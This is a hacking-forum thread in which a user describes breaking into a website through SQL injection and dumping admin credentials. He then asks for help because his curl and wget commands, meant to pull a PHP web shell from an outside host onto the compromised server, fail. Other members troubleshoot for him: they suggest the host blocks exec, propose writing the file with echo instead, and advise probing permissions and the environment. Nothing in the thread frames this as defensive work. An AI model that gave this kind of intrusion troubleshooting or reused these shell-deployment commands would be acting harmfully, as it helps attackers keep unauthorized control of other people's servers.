how to bypass Internal Server Error [on hold] SQL INJECTION

how to bypass Internal Server Error [on hold] SQL INJECTION - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: how to bypass Internal Server Error [on hold] SQL INJECTION (/showthread.php?tid=5787564)

how to bypass Internal Server Error [on hold] SQL INJECTION - blackcoder00 - Jan 20, 2018

i was loking after a website that he is vulnérable in sql injection after i dump the CP password and the username
i have upload my shell but i find this error :

Code 
the server encountered an internal error or misconfiguration and was unable to complete your request

i bypass it with SSI web shell (shell.shtml)
i run my command from the shell command to upload the shell in this site :

Code 
curl http://www.test.com/upload/r00t.txt -o root.php

wget http://www.test.com/upload/r00t.txt -o root.php

after i run the command I find that my file doesn't exist (Not Found) in this path:

Code 
http://example.com/gallery/root.php

i think that the command is not executed How I can solve this problem?

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - Malicious Intent - Jan 20, 2018

(Jan 20, 2018 03:43 AM)blackcoder00 Wrote: i was loking after a website that he is vulnérable in sql injection after i dump the CP password and the username
i have upload my shell but i find this error :

Code
the server encountered an internal error or misconfiguration and was unable to complete your request
i bypass it with SSI web shell (shell.shtml)
i run my command from the shell command to upload the shell in this site :

Code
curl http://www.test.com/upload/r00t.txt -o root.php wget http://www.test.com/upload/r00t.txt -o root.php
after i run the command I find that my file doesn't exist (Not Found) in this path:

Code
http://example.com/gallery/root.php
i think that the command is not executed How I can solve this problem?

There is number of reasons as to why this might be happening. Host might prohibit use of certain functions that you use in your shell could be one option. Another one could be that curl or wget are not available to www-data or apache users. Try uploading some simple php file without any functions like exec, eval and alike.

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - нα¢кєя - Jan 20, 2018

(Jan 20, 2018 03:53 AM)Malicious Intent Wrote: There is number of reasons as to why this might be happening. Host might prohibit use of certain functions that you use in your shell could be one option. Another one could be that curl or wget are not available to www-data or apache users. Try uploading some simple php file without any functions like exec, eval and alike.

Like he said . There may me multiple reasons . Most common one's are functions or certain keywords are blocked by application . i can take a look at it , feel free to PM

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - blackcoder00 - Jan 20, 2018

(Jan 20, 2018 03:53 AM)Malicious Intent Wrote: There is number of reasons as to why this might be happening. Host might prohibit use of certain functions that you use in your shell could be one option. Another one could be that curl or wget are not available to www-data or apache users. Try uploading some simple php file without any functions like exec, eval and alike.

no cammand was executed if i upload a simple shell this error message display after i go to the path of the shell.php i was upload the serveur display to me this message

Code 
the server encountered an internal error or misconfiguration and was unable to complete your request

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - Malicious Intent - Jan 20, 2018

Dont use curl .. just echo text and pipe it into a file or something like it. curl or wget is not the only way to make a file. There is number of ways to do it and you are focusing on something that doesnt work. Also check the permissions on the location you are trying to access and check permissions on file.

Try some random commands to check environment and get as much info as possible.

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - blackcoder00 - Jan 20, 2018

(Jan 20, 2018 04:12 AM)Malicious Intent Wrote: Dont use curl .. just echo text and pipe it into a file or something like it. curl or wget is not the only way to make a file. There is number of ways to do it and you are focusing on something that doesnt work. Also check the permissions on the location you are trying to access and check permissions on file.

Try some random commands to check environment and get as much info as possible.

this is what i get when i run [b][b][/b][/b]

Executed command: [b]; PHPSESSID=f2a7b9b445az5b07cd42e102c2c1a958[/b]

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - Malicious Intent - Jan 20, 2018

(Jan 20, 2018 04:50 AM)blackcoder00 Wrote: this is what i get when i run [b][b][/b][/b]

Executed command: [b]; PHPSESSID=f2a7b9b445az5b07cd42e102c2c1a958[/b]

host is probably blocking exec.

RE: how to bypass Internal Server Error [on hold] SQL INJECTION - .trigious - Jan 20, 2018

Dude just run PHP code with the same functionality